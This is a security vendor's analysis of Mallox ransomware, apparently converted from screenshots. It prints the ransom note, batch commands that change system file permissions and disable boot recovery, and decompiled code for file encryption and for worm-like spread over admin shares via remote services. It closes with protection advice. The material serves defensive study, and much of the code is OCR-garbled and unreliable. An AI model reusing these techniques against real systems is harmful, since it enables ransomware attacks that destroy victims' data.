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1. Mallox Ransomware Description

In October 2021 Mallox, a new type of ransomware, began attacking enterprises in Asia.
This new ransomware is identified by encrypted files being given the suffix “. mallox”.
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| RECOVERY INFORMATION.xt -

|| 123.doc.mallox

| 123.docx.mallox TOUR FILES ARE ENCRYPTED !!!
|| 123,jpg.mallox
TO DECRYPT, FOLLOW THE INSTRUCTIONS:
|| 123.png.mallox
|| 123.,ppt.mallox To recover data you need decrypt tool.
|| 123.pptx.mallox
(] 123 mallox To get the decrypt tool you should:
L 123.xds.mallox 1.In the letter include your personal ID! Send me this ID in your first email to me!
|| 123xlsxmallox 2.We can give you free test for decrypt few files (NOT VALUE) and assizn the price for decryption all files!

|| RECOVERY INFORMATION.t¢t 3. After we send you instruction how to pay for decrypt tool and after payment you will receive a decryption tool
4. We can decrypt few files in quality the evidence that we have the decoder.

CONTACT US:
mallox. mewm’fes’ " fence. com
H malloxl = == (o com

YOUR PERSONAL ID: 7TF8« w204

After Sangfor FarSight Labs Endpoint Security Team captured samples of this new malware
strain, analysis found that Mallox was even more destructive than currently active
ransomware.

1. Mallox adds a C# shell layer using common DLL hijacking technology to bypass
security software.

2. Mallox spread like a worm through file sharing and uses the same file retrieval
technology as Search Artifact to attain rapid file retrieval and encryption.

Mallox can encrypt many files in a very short period of time, resulting in irreparable losses
once it is installed on a company's computers.

2. Technical Analysis

To bypass anti-virus software, Mallox adds a C# shell layer to hide its malicious behavior,
and uses SmartAssembly to obfuscate the C# shell, as seen below:
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4 =8 References
b =8 mscorlib
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b =8 System.Drawing
b =8 System.Management (
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"8 kernel32 @L
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8 psapidll @
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FileAccess. e, FileShare.

fileStream

Locals
Name Type
@ path C:\ D 2 ocal\\Temp\\Advar Lexe
b @ bytes [ ) 3 te[]
b @ fileStream yster \FileStream System.IO.FileStream

AdvancedRun.exe presents a configuration window when started:




Low
vmware-Administrator
WPDNSE
| ~DF4B8176F1003AA483.TMP
|| ~DF79D0C408F125D3CD.TMP
5 AdvancedRun.exe
|| FXSAPIDebuglLogFile.txt

| wmsetup.log

D Advanced Run

Program to Run: |
Command-Line Arguments:
Start Directory:

Priority Class:

Window Position (X,Y):

Run As... ll.:\.rrent User - Allow UAC Elevation

User Name: Domain:

Main Window State:

Window Size (W H):
__ ¥ Process ID/Name:

Password:

[ use search path to find the program location if the full path is not spedified

Parse the environment variables inside the command-line string before passing it to the program.

[ set the process affinity mask (space-delimited list): 01
Compatibility

Operating system compatibility mode: Mo C

ility Mode

-

|| Disable Visual Themes || Disable desktop composition
|| Disable display scaling on high DPI settings

Environment Variables

["IRun In 640 X 480 Resolution

Normal Colors ¥,

Use current system environment variables without any change

4 Fill Current Environment Strings

About Load Config H Save Config | [

Add Explorer Menu l [ Run ] [ Close !

Windows Defender is turned off:

o startInfo)

= startInfo;

Locals

Name
4 @ startinfo

Yo r'e

The Windows Defender directory is deleted:
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Name
4 @ startinfo

Yererrrerer

The AdvancedRun.exe file is then deleted:

fullPathInternal =

n(FileIOPermissionAccess.

or, fullPathInternal);

Locals

Name
@ path "C:\\Users\\Admini r\\A a\\Local\\Te AdvancedRun.exe

un.exe”

@ fullPathinternal C:\\Users\\Adm or\\A a\\Local\\Te Advanced
@ Vi1

@ lastWin32Error 0x00000000
be V3 [0x00000001]

The script file Yubhigusnhbrkitykwictgkill$.bat is created in the temp directory:




(FileStream fileStream = F rea M - - , FileShare.

Filest’eaw

[] contents)

Type

0
System.IO.FileS

The operation of the script file Yubhigusnhbrkitykwictgkill$.bat is as follows, with the main
functions being:

1. Restoring the CMD default association by deleting the registry
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\AutoRun".

2. Setting security permissions for specified files and folders to prevent them from
becoming inaccessible: cmd.exe, net.exe, net1.exe, mshta.exe, FTP.exe, wscript.exe,
cscript.exe, powershell.exe, C: \ProgramData, C:\Users\Public.

3. Deleting the shadow disk.

4. Stopping and deleting specific programs and services, including security software and
any related to line-of-business.
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Low
vmware-Administrator
WPDNSE
|| ~DF4B8176F1003AA483.TMP
|| ~DF79D0C408F125D9CD.TMP
|| FXSAPIDebugLogFile.txt
|| wmsetup.log
[&] Yubhigusnhbrkitykwictqkill$.bat

|.;

';ékeown /f %SystemRoot%\system32\cmd. exe /a
echo v|cacls %SystemRoot%\system32\cmd. exe /g

echo y|cacls %SystemRoot¥%isysten32\cmd. exe /e
echo v|cacls %SystemRoot%\system32\cmd. exe /e
echo v|cacls %SystemRoot%\system32\cmd. exe /e
echo v|cacls %SystenRooth\systen32icmd. exe /e
echo Y|cacls %SystemRoot%\system32\cnd. exe /e
echo v |cacls %SystemRoot%\system32\cmd. exe /e

echo Y|cacls %SystemRoot%\system32\cmd. exe /e
takeown /f %SystemRoot%\SysWOWE4\cnd. exe /a
echo

v|cacls %SystenRoot%\SysWOWGd\cmd. exe /g
echo y|cacls %SystemRoot’$'SysWOWEd\cmd. exe /e
echo y|cacls %SystemRoot%\SysWOWEd\cmd. exe /e
echo y|cacls %SystemRont%\SysWOWEd\cmd. exe /e
echo v|cacls %SystemRoot$\SysWOWEd\cmd. exe /e
echo Y|cacls %SystemRoot%\SysWOW64\cnd. exe /e
echo y|cacls %SystemRoot%\SysWOW64d\cmd. exe /e
echo ¥|cacls %SystemRoot%\SysWOW64d\cmd. exe /e
::NET

takeown /f %SystemRoot%\system3Z\net.exe /a
echo y|cacls %SystemRoot%\system32\net. exe /z

echo

echo yv|cacls %SystemRoot%\system32\net. exe /e

echo v|cacls %SystenRoot%\system32\net. exe /e

echo v|cacls %SystemRoot\system32\net. exe /e

echo y|cacls %SystemRoot%\system32\net. exe /e

echo Y|cacls %SystemRoot%\system32\net. exe /e
¥

cacls %SystemRoot%\system32\net. exe /e

< 1l

rtleg delete "HKEY LOCAL MACHINE‘\SOFTWARE‘\Nicrosoft\Command Processor” /v “AutoRun” /f
::CHD

Administrators:f

/g Users:r

/g Administrators:r
/d SERVICE

/d mssqlserver

/d "network service”
/g system:r

/d mssqlfsqlexpress

Administrators:f

/g Users:r

/g Administrators:r
/d SERVICE

/d mssqlserver

/d "network service”
/g system:r

/d mssqlfsqlexpress

Administrators:f

/g Users:r

/g Administrators:r
/d SERVICE

/d mssqlserver

/d “network service”
/d system

in

The Visual Basic script Blffpekna.vbs is created in the temp directory to run
Yubhigusnhbrkitykwictgkill$.bat:

»
Vs
- #
»
»
&
*
»
»

Low
| vmars-Administrater
WPDNSE
| ~DF4BA176F1003AA4B3.TMP
L ~DF7SDOCAOBF125D9CD.TMP
3] Biffpeknavbs
FXSAPIDebugLogFile st

| elfipeknaks

==t

CreateObject {"WScript. Shell™). Fun ™"C:iUcers\Admini strater\AppData\Local \Temp\Fubhi gusnhbrki tykwictqki 11§, bat ™™,

1, False]

The Yubhigusnhbrkitykwictgkill$.bat script is run:
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=N stopper

=2 killer

B8 killer "UBoxSDS .exe
"mysgld.exe
"TeamUiewer_Service.exe",
= killer ] "TeamViewer.exe".
"CasLicenceServer.exe's
"tv_w3l.exe".

"tu_xb4.exe

"rdm.exes

"SecureCRT .exe",

“BackupExecMi vSecureCRTPortable.ex

“bengine.exef "irtualBox._exe",

“benetns .exeff "UBaxSUC.exe" .

“heserver.exfi "UirtualBoxUM.exe

"ahs_deployer.exe

“edr_monitor.exe"

"sfupdatemgr.exe

"ipc_proxy.exe

“heremote . 1 "edr_agent .exe

“bheremote. k “edr_sec_plan.exe

“"Remotefs s "sfavsuc.exe",

“BarMoniServjg "DataShareBox.ShareBoxMonitorService.exe

“GoodGameSrvii "DataShareBox.ShareBoxService.exe
CMServiclg

sService.eff
GoodGame . ex|
“BarServerlil
“"IcafeServicesTray.exe™,
“"BsAgent_B.exe
“"ControlServer.exe",

“"BackupExec .|
"Att.exe"
"mdm.exe

“heremote .
“heremote.

"Jointsky.CloudExchangeService.exe
"Jointsky.CloudExchange .NodeService.ein",

Locals

Name Value
@ \u0020
@ \u0020
@ \u0020

b@ A3

The running MSBuild.exe process is identified, and the ransomware main module is injected
into the MSBuild.exe process to bypass the security software:
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. Mgl BEEEWA.

. OyMallox.
. O Mallox.
= Mallox.

Tas
exe
exe
exe

E i TeLEE 2 AT
g QueryStandardIinformationFile
B, ReadFile

a CloseFile

S ANSTA S IAUSLLLS LS

IMEES LS e Ve S

| B RIL S
\Temp'\MSBuild.
\Temp\MSBuild.
\Temp'MSBuild.
\Temp\MSBuild.

AT
exe
axe
exe

U

SUCCESS
SUCCESS
SUCCESS

. {3 Mallox.
. O Mallox.
. Dy Mallox.
. Y Mallox.
. D Mallox.
. Oy Mallox.
. OyMallox.
. O Mallox.
. D Mallox.
. OyMallox.
. yMallox.
. O Mallox.
. D Mallox.
. Oy Mallox.
. Dy Mallox.
. O Mallox.
. Dy Mallox.
. Oy Mallox.

The main Mallox module is an exe file that implements the encryption functions. The

exe
exe
exe
exe
exe
exe
exe
axe
exe
exe
exe
exe
exe
exe
exe
exe
exe
axe

}, Process Create
M QuerySecurityFile
B\ QuerrBasicInformationFile
& Load Image
@ QueryNameInformationFile
& CreateFile
B CreatsFile
g QueryStandardInformationFile
B\ CreateFileMapping
B. QueryStandardInformationFile
B\ CreateFileMapping
E QueryStandardInformationFile
B CreateFile
QueryDirectory
Bk CloseFile
B. CreateFile
B\ QuerrBasicInformationFile
B\ CloseFile
B CreateFile

AppData’\local',

AppData\lLocal’,

AppData'\Local’,
\Temp\MSBuild.
\Temp'\MSBuild.
\Temp'\MSBuild.

1904 C:\Users'\Administrator‘\AppData\lLecal

1 C:\Users'Administrator'AppData\lecal
C:\Users\Administrator'\AppData\local
C:\Users\Administrator‘\AppData\Local
C:\Users'\Administrator'

1904 C:\Users\Administrator\AppData\Local

1904 C:\Users'Administrator)

1904 C:\Users\Administrator‘AppData\Local

1904 C:\Users'Administrator‘\AppData'local

1904 C:\Windows'AppPatch'sysmain. sdb

1904 C:\Windows'AppPatch'sysmain. sdb

1304 C:\Windows'AppPatch'srsmain. sdb

1904 C:'\Windows'AppPatch'sysmain. sdb

1904 C:\Windows'AppPatch'sysmain. sdb

1904 C:\Windows'\AppPatch'sysmain. sdb

1904 C:\Users\Administrator‘\AppData\local

1904 C:\Users'Administrator'\AppData'lLocal

1904 C:\Users\Administrator®

1904 C:\Users'Administrator'AppData‘leocal

1904 C:\Users\Administrator'AppData'\Local

1904 C:\Users\Administrator‘\AppData'\lecal

1904 C:\

following prepared is done before encryption:

\Temp

\Temp'\MSBuild.

iexp

1. Excludes hosts in Russia, Kazakhstan, Russia, Ukraine and Qatar
2. Elevates permissions
3. Deletes the registration form for Raccine
4. Deletes the disk shadow
5. Cancels the automatic startup repair mode
6. Terminates the following program process:

v4 = GetUserDefaultLangID();
if ((v4 1= 0x419 8& v4 1= OxA3F 8& v4 1= Ox423 8&& v4 1= 0x422 && v4 != 0x444 )//

{

sub_10C4865(L"SeTakeOwnershipPrivilege");
sub_10C4865(L"SeDebugPrivilege™);

sub_10C6581();
sub_10C6A1F();
sub_10C48FO(L"/c bcdedit /set {current} bootstatuspolicy ignoreallfailures™);
sub_10C48F@(L"/c bcdedit /set {current} recoveryenabled no");
sub_10C65EA();

/1.
/1.

&t |

\Temp'\M5Build.
emp\MSBuild.
emp\MSBuild.
\Temp\MSBuild.
\Temp'\MSBuild.

exe
exe
exe
exe
exe

exe

exe
exe
exe

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
FILE LOCEE..
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

If a program is running under the debugger, an exception will be thrown when trying to use
CloseHandle to close the handle returned by the FindFirstFile function which prevents the

malware from being closed. The malware will prevent debugging from starting again:

v12 = FindFirstFileExW(L"C:\\*", FindExInfoStandard, FindFileData, FindExSearchNameMatch, @, dwAdditionalFlags);
if ( v12 == (HANDLE)OxFFFFFFFF &% GetlastError() == 0x57 )
dwAdditionalFlags = 0;

else

CloseHandle(v12);
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The number of encryption threads created are 2 times the number of existing processors
with an upper limit of 64 threads:

GetSystemInfo(&SystemInfo);
v53 = 2 * SystemInfo.dwNumberOfProcessors;
if ( 2 * SystemInfo.dwNumberOfProcessors >= 64 )
v53 = 64;
vd = 0;
for ( lpHandles = (HANDLE *)malloc(4 * v53); v4 < v53; ++v4d )
{
v5 = CreateThread(®, 0, EncryptFile, 0, 0, 0);
lpHandles[v4] = v5;
¥

The encryption threads are synchronized using IOCP and encrypts target files found using
the file traversal thread:

EnterCriticalSection(8CriticalSection);
for (i =8; i ¢ 0x100; ++i )

vi[i + 1] = sub_1@C3F38();
LeaveCriticalSection(&CriticalSection);
sub_10C3C82(v7);

while ( 1 )
Overlapped = @;
GetQuevedCompletionStatus(hObject, &NumberOfBytesTransferred, &Completionkey, &verlapped, @xFFFFFFFF);
1F ( 10verlapped && CompletionkKey == 2 :|
break;

v2 = (void **)Overlapped;
if ( Overlapped )
{

if ( Completionkey )

if ( CompletionKey == 1 )}
sub_10CAF61( (const WCHAR *)0Overlapped[l].Internal);
¥

else

sub_18C4955((const WCHAR *)0Overlapped[1].Internal, Overlapped[1].InternalHigh);
InterlockedIncrement(&Addend);

}

iF ¢ v2[51 )
free(v2[5]);

free(v2);

3
}

The Chacha20 algorithm (a variant of the Salsa20 stream cipher) is used to encrypt files with
the encryption suffix ".mallox".
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= malloc(v15);
iF (¢ ! )
goto LABEL_28;
for (; i - )

, 8, 9);
) 2 & ) 9)-
P » ( int8 *)v39);
» 0, 9);
, & > 0);
3
}
)s
Ex( , 0i64, 0, 2u);
= 3
WriteFile( , , 0x28u, & "B
WriteFile(v18, , 0x10u, & 5 Q)
WriteFile(v18, ::Buffer, 0x20u, & i @)
CloseHandl

D
~

)

= 1s
enW/(L".mallox

trlenh( )5

s

= (WCHAR *)malloc(2 * v20);
= (DWORD)

, L".mallox™);
);

@818c5018 oo Acc GENERIC_WRITE
818c581D FileName = Program Files (x86)\Hic
8105020 5 Hallox.816C563E
B(FFFFFFFF)
" B(FFFFFFFF)
I8 short Hallox.010C5048 5 247 O(FFFFFFFF)
edi pOverlapped HULL S a0 7 B{FFFFFFFF)
8D4S EB lea eax,[local.6] 3 s 7 TEF84DBB({FFF)
50 e pBytestritt A3D9FIF 4 1 B B(FFFFFFFF)
FF35 FOOBOEA1 nBytesToWrite = 291 (657.) N
@818c5038 68 18 Mallox.B10EOCTS Buffer = Mallox.B10EGC18 -t CESS (88000080)

610C5 63D hFile = 888146D8
81605 B3E - 8 BBODO213 (NO,B,NE,BE,NS,P0,GE,G)

esi Object 0080814608 ST8 enpty
B18C5 845 enpty
K= IT "YOUR FILES ARE ENCRYPTED *t*\rinir\nTO D "T, FOLLOW THE INSTRUCTIONS:\r\ni\rinTo rgsST2 empty

enpty 6.

enpty 0.

enpty 0.0

Bee146D8 i = BOB146D8
19 ) P VOUR. FILES ARE E D O10EOC18 || Buffer = Mallox.010E ol

G108EBC28 3 2 5 2 p: 4 ape| 00000291 sToWrite 201 ( o
B818EBC38| 5 2 3 G uc C F 0| BIDYF3F4(| p 5 = B3D9F3FL
B1BEBCAB 5 5 3 4 @3D9FIEL| 0OOOODOO HULL
B818EBC58 5 @83D9FIER| 0O0OO100
B1BEBCHE er data you need @3D9F3IEC| BBD975AB
B18EBC78 65 6 7 28 7 decrypt tool... @83D9F3IFB| DIICBIE3
B168EBC88 5 ..To get the de @83DOF3IFL| BODYEF7O
818EBCY8 8 7 rypt tool you sh @83D9F3IF8| 0000000
@18EBCAS H : 1 83D9FIFC|-B3IDIFCLD
B168EBCBS | 65 H 7 : 6 83D9F4 00| [ 010C58BB
B168EBCCE| 28 7 36 61 6C pers B83D9Fu 04| [ BOOOO2BC
G18EBCD8 52 > 2 2 3 2 e is 03D9F 408
B010EBCES 9 2 2 ‘ D in your fi s "
G18EBCF8 HEE ! L 2 ) to me?..? 2 4 HMallox.818C50E2 { H Mallg
018EBD B8 5 3 E 28 h 7 BBD96F 78| UNICODE “C:\Program Files (x86)\}
@10E0D18 7 5 F 72 2 free test for 0B000000
@810E0D28 7 66 ecrypt few files @83DOF41C|| BOOOOO00
@8108EBD38 55 45 2 (HDT VALUE) and G3DOFL420|| 00000000
B818EBD 48 3 6 assign the pric @3DOFL424| [ BODITSAS
B816EBD58 6 6F|7 5 : e for decryption @83D0FL28 || 0OOBODDT

Retrieve IP addresses from the ARP table to create a virus propagation thread:
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SizePointer = 0;

if ( GetIpNetTable(®, &SizePointer, 1) == Bx7A )

{
v2 = (struct MIB_IPNETTABLE *)malloc(SizePointer);
if ((v2)
{
if ( !GetIpNetTable(v2, &SizePointer, 1) )
{
v7 = 0;
if ( v2->dwNumEntries )
{
v3 = (struct in_addr *)&v2->table[0].dwAddr;
do
{
vd = inet_ntoa(*v3);
WideCharStr[MultiByteToWideChar(@, @, v4, OxFFFFFFFF, WideCharStr, Ox1E)] = 0;
(*((void (__cdecl **)(wchar_t *))1lpThreadParameter + 1))(WideCharStr);
++Vv/;
3 += 6;
¥
while ( v7 < v2->dwNumEntries );
¥
¥
free(v2);
¥
}

Name the malware file mall.exe and copy it through file sharing to the IP hosts from the ARP
table, then create a corresponding service on the target systems. If the virus is run without a
shell, it can be spread automatically:
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1pMachineName = al;
GetModuleFileNamell(@, Filename, ©x104u);
v3 = L"admin$";

va[e] = (int)L"%windir%";
va[1] = (int)L"c$";
v4[2] = (int)L"C:";
for (i =0; i < 2u; ++i )
{

vl =2 * i

wnsprintfW(pszDest, @x104, L"\\\\%s\\%s\\%s.exe", lpMachineName, (&v3)[v1], L"mall");

wnsprintfW(BinaryPathName, 0x104, L"%s\\%s.exe", v4[v1], L"mall");

CopyFileW(Filename, pszDest, 0);

result = OpenSCManagerW(1lpMachinelame, @, OxFOO3Fu);

hSCObject = result;

if ( result )

{
hService = CreateServiceW(result, L"mall", L"mall", OxFO1FFu, 0x1@u, 3u, 1u, BinaryPathName, ©, ©, @, 0, 0);
if ( hService || GetLastError() == 0x431 )

v5 = StartServiceW(hService, 0, 0);
CloseServiceHandle(hService);
result = (SC_HANDLE)CloseServiceHandle(hSCObject);
if (v5)
return result;
¥

else

it
result = (SC_HANDLE)CloseServiceHandle(hSCObject);

¥
¥
¥

Obtain system disk information of all network disks, removable disks, and local disks. Create
a thread for each disk that needs to be encrypted by traversing to find files:
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nCount = 0;

v54 = GetlLogicalDrives();

Stream = 0x41;
TotalNumberOfBytes.HighPart = 0x1A;
do

{
if ((v54 & 1) 1=0)

v8 = malloc(@x14u);
ve(v8, OxA, L"%c:\\", Stream);
v9 = GetDriveTypeW(v8);
if (v9==4 || v9==2]|]|va==3) //
{
ve(v8, OxA, L"\\\\.\\%c:", Stream);
TotalNumberOfFreeBytes.HighPart = CreateThread(®, @, FindFile, v8, 0, 0);
if ( !'WaitForSingleObject(TotalNumberOfFreeBytes.HighPart, @x3E8u) )
{
CloseHandle(TotalNumberOfFreeBytes.HighPart);
CreateThread(®, 0, sub_10C5126, v8, @, 0);
 §
v1@ = nCount++;
Handles[v1@] = TotalNumberOfFreeBytes.HighPart;

¥
5
Stream = (Stream + 1);
v54 >>=1;

--TotalNumberOfBytes.HighPart;
¥
while ( TotalNumberOfBytes.HighPart );
WaitForMultipleObjects(nCount, Handles, 1, OxFFFFFFFF);
for (i =0; i < nCount; ++i )

CloseHandle(Handles[i]);

Use this method of reading USN logs to quickly retrieve disk files:
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v32 = sub_10C463B(1pThreadParameter);
vl = CreateFilel(1pThreadParameter, @x80006000, 3u, @, 3u, lu, 8);
hDevice = vl;
if ( vl != BxFFFFFFFF )
{
BytesReturned = @;
memset{OutBuffer, @, sizeof(OutBuffer));
if ( DeviceloControl(vl, ©x%@@F4u, @, @, OutBuffer, Px3Bu, &BytesReturned, @) )

v2 = GetModuleHandleW(L"ntd1l.d11");

NtCreateFile = GetProcAddress(v2, "NtCreateFile");
memset(v63, B, Ox10068u);

va3 = OutBuffer[4];

vid = OutBuffer[S];
vl = 'a;
vid2 = 8;
InBuffer = B;
vig = @
for ( i = DeviceloControl(vl, @x9€0B3u, &InBuffer, @x18u, v63, @x1@80Bu, EBytesReturned, 0);
1
i = Devicelolontrol(hDevice, @x988B3u, &InBuffer, Bx18u, w63, Ox10808u, &BytesReturned, 8) )
{

vd = &vb3[2];
for ( j = &63[2] < (v63 + BytesReturned); ; j = v4 < (v63 + BytesReturned) )

v27 = vd;
if (13 )

break;
v = *(v4d + BxD);

Filter out the ransomware files and the files of the program itself:

else if ( (vb & BxA7) =0 )

{
vl4 = lstrlenk(L"RECOVERY INFORMATION.txt");

if ( StrCmpNIW(v4 + Ox1E, L"RECOVERY INFORMATION.txt", vi14) )

{
v1l5 = lstrlenk(S5tringl);

if ( StrCmpNIW(v4 + Ox1E, Stringl, v15) )//

{
v38 = B;

Then filter out the following suffix files:
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".mallox", ".ps1". ".Ink", ".exe",

diangcab", ".adv", ".386",

Jdcs",

"‘bat"\ n

pl". ".com"_  ".hlp",

".sys", ".rtp". ".idx", ".icl

sp". ".wpx"., ".deskthemepack”, ".diagpkg". ".icns",
cmd”, ".msu", ".diagcfg", ".cab", ".prf", ".ocx". ".theme", ".scr", ".mod",  ".
drv",
".cpl", ".lock",

. ".msstyles”

".nls", ".shs", ".themepack”, ".bin",

. u‘mscu\ ||.'|CO||\ .

".ani

||.r0m||\ ||‘mpa||\ “.key"\ ll.msill\

.cur",

n

".hta", ".dIlI", ".nomedia”.

BFB77C24 24

816C576C
7 8D3CBD F OF 6O

81ac!

movzx edi,word ptr ss:[esp+Bx:
lea edi,

lea e

call
mov dword ptr ss
cmp
m short HMallox.B1B8C57A9

:[esp+Ox40],

810C578C
B810C578E
810C5794
810C5795

call

fa18DA1FC
818DAZ7C
810DAZFC
B18DA37C
818DA3FC
B10DALTC
810DA4FC

. .deskthemepack.

.diagcfg.

.386...bat
-ics...cpl...lock..cur...hta

rtable Devices..Microsoft Analysis Services.Pac

%1 TF Or MACUNAAr y B2 X849 Tegase Us nE-O1spasitian: fo name=

cHITECE WITECE

-icl...msstyles.Windows Sidebar.Windows Photo Uiewer..Windows Po
ge Store.Window

Pattern = ".msstyles"

String = "$Tops

t.msstyles

fstring =

39FFE7L (60817812.)
msstyles”

- B39FB7BC
039FB7CO|- B10DA4LEE
B39FB7Ch4 (. BFB6OBF7
039FB7C8|. BEOO0O00
B39FB7CC|- BB00DO00
B39FB7DB|. BBDO1580
039FB7D4 |- GBOOAOAD
B39FB7D8 |- GCOOBOOG

L nogp g

o
tyles

B39FFE7 4

»

i Filensme=\"nlod), "\ r\ncentent-Type: application octet-sTrasm', rimyr\nlf]e-data]’rin------Rebkithar

D0L9FCEE
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FFFFFFF)
FFFFFFF})
(FFFFFFFF)
K FEF78BBO(FFF)
GS 8028 B{FFFFFFFF})

o LEFF OR_SUCCESS (88
EFL 08008212 (HO,MB,NE,A,NS,PO,

ystem3ZyMsdtciTrace”

STO enpty 8.8
y 0.8
y 6.8
y 6.8

pnptn -8
enpty 8.

String i \Msdtc\Trace"

hota Uiewer ..Windows Portable|
es.Package Store.Windows Hail‘ = B
soft HPT.Hicrosoft Help Uieve ‘ C8|- 60000000
“Store. Packag i ti Erosoft ASP.HET .Windows Berender‘ @ B7CC|- bodoo0oe
.Assemblies. erenc rnet Ex d £ % 14 @ DB|- BOD91588| UNICODE ™S\ .A\C:™
i i S - BBBaBssn

039FBTED
039FB7EN|-

Send eligible files to the encryption thread for file encryption:

22 = malloc(@x1Cu);
if ( v22 )
{
memset(v22, @, 0x1Cu);
LOWORD( ..[1].InternalHigh) = v32;
= malloc(v27[@x1C] + 2 ° [4] + 4);
[1].Internal = v23;
/24 = [el;
if ( v54 < 8)
- J
sub_10C4482(v23, L"%s\\%.*s", v24, v27[0x1C] >> 1, v27 + Ox1E);
PostQueuedCompletionStatus(hObject, 0, 0, v22);
InterlockedIncrement(&dword _10EOBAO);
1
J

<5
goto LABEL_41,;

3. Protection Recommendations

1. Set up access permissions for important files and turn off unnecessary file sharing
features.

2. Perform regular non-local (offline) backups.

3. Use a highly secure host password and avoid multiple devices using the same
password.

4. Do not map ports like 3389 directly to the internet or an external network to prevent
brute-force cracking.

5. Avoid opening emails, links, and URL attachments of unknown origin.
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6. Do not download non-genuine software from unofficial sites.

7. If you find that the file type does not match the original icon, you should scan the file
using endpoint detection software to detect any malicious code within the file.

8. Regularly scan the system for vulnerabilities and install patches in a timely manner.

4. Using Sangfor Products:

g« [[IEEE 83C4 1C aeu esp,
. i | 8945 ES dword 1 febp-18], eax
* | DO40FAZE | 5““ €8 Inv eax, md oTr oo : [(#bp-18]
. $OFAAL push eax
8BSD FC ooy ,dword pt :[ebp-4]
8508 \&
.a 09 3e zzzz loFAsz

Eé E7 srumu ca?! 2222 426496
sac
Dup cax’
59 5 FC mov dword ptr ss:[ebp-3],eax
64 00 push
A 00 push
6A 00 push
68 05000080 push
<
eax=006D8BA8
dword ptr ss:[ebp-18]=[0019FCCO]=0019FCAC

- TeXT:0040FASE 2222.exe: SFAIE #FAIE

'wwsa AS| 01 00 ( 0700(43 3A 5C 00[44 34 5C 00 ',_,"
0608535 | A3 AB A8 A2 |48 25 A8 28 00/ «
006Ds8cs | oc 7t 18 2e|1e I

cac e AD| 00000008 |
B0 B8 €0 008 55 e oo A T1
006DSBDS |EE FE EE FE |EE FE EE FE|EE FE EE FE|EE FE EE FE D D D"!D"D pip

| 00000000
\ 80000301 |

1. Run anti-virus and vulnerability scans using Endpoint Secure.

2. For users of Sangfor Cyber Command, NGAF, and Endpoint Secure, it is
recommended that the system engines and signature databases are upgraded
regularly.

3. Connect to Neural-X and use Cloud Sandbox to detect and defend against new threats.
4. Sangfor provides free bot and virus removal tools to users. You can download the virus

detection and protection tools here: https://page.sangfor.com/anti-bot-tool

5. Sangfor Engine Zero malware detection engine is integrated into most Sangfor security

products to provide precision defense against unknown viruses and malware.

6. Sangfor has a suite of Security Assessment Services to help users quickly find gaps in

their security architecture and develop remediation plans.

7. Sangfor Security Assessment Services provide security device policy inspection, threat
hunting & detection, and vulnerability inspections to ensure that risks are immediately

identified, and remediation strategies developed to prevent successful attacks in the
future.
CONTACT SANGFOR FOR BUSINESS INQUIRIES

Meet the Author
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Sangfor Technologies

Sangfor Technologies is a leading vendor of Cyber Security and Cloud Computing solutions.
The maijority of the blogs that you are seeing here are written by professionals working at
Sangfor. We have a team of content writers, product managers and marketing experts who
are taking care of writing articles on various topics that are relevant to our audience. Our
team ensures that the articles published are factually correct and helpful to our customers
and partners to know more about the recent trends on Cyber Security and Cloud, and how it
can help their organizations.
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